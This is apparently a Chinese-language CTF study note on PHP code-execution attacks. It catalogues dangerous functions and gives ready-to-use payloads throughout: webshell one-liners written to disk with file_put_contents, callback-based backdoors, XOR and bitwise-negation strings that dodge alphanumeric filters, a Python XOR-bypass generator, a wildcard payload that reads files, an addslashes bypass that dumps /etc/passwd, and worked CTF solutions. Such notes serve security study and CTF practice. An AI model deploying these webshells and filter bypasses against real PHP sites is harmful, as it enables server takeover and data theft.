PHP Code Excution Notes

0x01 漏洞点

  • eval()

    返回运行结果,可以执行字符串,也可以传入函数名(此时不加分号)

1
2
eval(phpinfo());
eval("phpinfo();";
  • assert()

    它只能执行一行代码,但可以在动态函数里利用,可以和eval合用

  • preg_replace()与/e匹配模式

    可以构造如下shell

    1
    @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
  • create_function()

    主要用来创建匿名函数,如果没有严格对参数传递进行过滤,
    攻击者可以构造特殊字符串传递给create_function()执行任意命令。

    1
    $func =create_function('',$_REQUEST['cm/d']);$func();
  • 动态函数

    1
    2
    3
    4
    $_GET['a']($_GET['b']);

    payload:
    ?a=assert&b=@eval(phpinfo());

    需要注意的是传入的a参数,只能是函数的名字的字符串,而eval其实不是一个函数,而是一种language construct,将eval当作a传入会有如下报错

    Fatal error: Call to undefined function eval()

    类似的还有language construct,都不能用在动态函数上

    1
    echo, print, unset(), isset(), empty(), include, require,like

回调函数

可以利用它来绕过黑名单,回调函数在Seay的《代码审计》有很好的整理

  • array_map()
1
2
//?func=system&cmd=whoami
$new_array=array_map($func,array($_GET['cmd']));
  • call_user_func()/call_user_func_array()

    • call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
      call_user_func(assert,$_GET['cmd']);
    • call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
      call_user_func_array("assert",array($_GET['cmd']));
  • array_filter

    1
    2
    array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
    array_filter(array($_GET['cmd']),$_GET['func']);
  • usort,uasort()

    • usort() 通过用户自定义的比较函数对数组进行排序。(version>=5.6)
    • uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。(version>= 5.6)

0x02 利用思路

  • RCE

    利用命令执行函数造成RCE

    1
    2
    $a=$_GET['hack'];
    echo `$a`;
  • getshell

    • file_put_contents()/fputs() 写入shell

      1
      2
      file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');
      fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
    • error_log()写入shell

  • FileInclusion

    include$_GET[a];

    (在echo,include,require之后传入URL参数,可以不加空格)

0x03 Techniques

1.限制了长度

  • $_GET[1]&1= 将参数传入其他的GET参数
  • 利用边长参数+可调用回调函数的方式传参

2.限制了字母和数字

先来看两个技巧

2.1字符串内解析变量

双引号内的变量会被解析,花括号{} 也可以,这样就相当于解析了两次

1
2
3
4
<?php
$tmp='123';
$a="tmp";
print "${$a}"; //返回123

花括号内第一个字符为如下之一可以直接执行字符串,不过只能执行”一行”

​ 空格/TAB/注释/换行/加减号/!/@/~/

1
2
3
<?php
print "${ phpinfo()}";
print "${/**/phpinfo()}";

2.2一些不包含数字和字母过滤的绕过

参考一些不包含数字和字母的webshell

  • 异或
  • 中文
  • 截断,自增等操作

利用Xorbypass.py爆破出指定字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#Xorbypass.py
import sys
from urllib import parse

chrlist1 = "~`!@#%&*()-=+[]{};:<>,.?/|"
chrlist2 = ''
i = 0
for i in range(33):
chrlist2 += chr(i)

chrlist = chrlist1+chrlist2
#chrlist = chrlist1
left=''
right=''

for x in sys.argv[1]:
for y in chrlist:
test = chr(ord(x) ^ ord(y))
if test in chrlist:
left += y
right += test
break
raise Exception("Failed!", x)

left=parse.quote(left)
right=parse.quote(right)

print('"'+left+'"^"'+right+'"')

有了以上两中姿势就可以巧妙地来构造payload咯,下面是几个经典例题

example:

  • OmegaSector-MeePwn-2018 ,如下可作为一个shell

    1
    2
    <?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
    $_GET[_]($_GET[__]);
  • XMan_MEIZIJIU_PHP

    1
    2
    3
    ?code=${"`{{{"^"?<>/"}[_]()&_=getFlag;
    ?code=$_=('[@)`@!['^'<%]&,@<');$_();
    ${~"\xa0\xb8\xba\xab"}[_]();&_=getFlag #取反

3.字母和数字下划线

用‘+’做GET参数名

1
2
3
${"`{{{"^"?<>/"}['+']();&+=getFlag
${~"\xa0\xb8\xba\xab"}['+']();&+=getFlag #取反
$啊=(']@\`@@]'^':%(&,!:');$啊(); #中文变量名

4.字母和数字下划线和$

PHP不使用数字,字母和下划线写shell

在安恒杯子9月赛里遇到,闭合整个php标签(<?php),再利用通配符命令执行,如下payload对上面过滤数字字母的情况都可以用

另外这个姿势还涉及到通配符的利用/???/???一般会被匹配到/bin/cat

1
code=?><?=`/???/??? ????.???`?>

5.变长参数传参

变长参数的特性php>=5.6

1
2
3
?1[]=a&1[]=b&2=c

(...$_GET)传入的参数为["a","b"]和"c"

6.addslashes绕过

1
2
3
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');

payload

1
str=${var_dump(cat%20../../../etc/passwd)}

花括号将其内部的内容解析为字符串

7.过滤了[]

{}可以代替[]

8.数字加\

过滤模式:

1
[^0-9\\\]

用八进制字符串

\[0-7]{1,3} 用八进制表示的字符串

1
2
3
4
5
def conn(strr):
ans=""
for i in strr:
ans+="\\"+oct(ord(i))[1:]
return ans

参考SUCTF2018 Hateit

0x05 Example:

  • Jarvis OJ babyphp assert

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<?php
require_once $file;
?>
1
2
3
4
5
注入$file参数闭合单引号
$file = "templates/flag'.system("cat templates/flag.php;").'.php

那assert函数执行时就变成
assert("strpos('templates/flag'.system("cat templates/flag.php;").'.php', '..') === false") or die("Detected hacking attempt!");

payload:

1
flag'.system("cat templates/flag.php;").'
  • 安恒杯9月web2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>

​ payload:

1
code=?><?=`/???/??? ????.???`?>

PHP代码执行函数总结

eval长度限制绕过 && PHP5.6新特性

创造tips的秘籍——PHP回调后门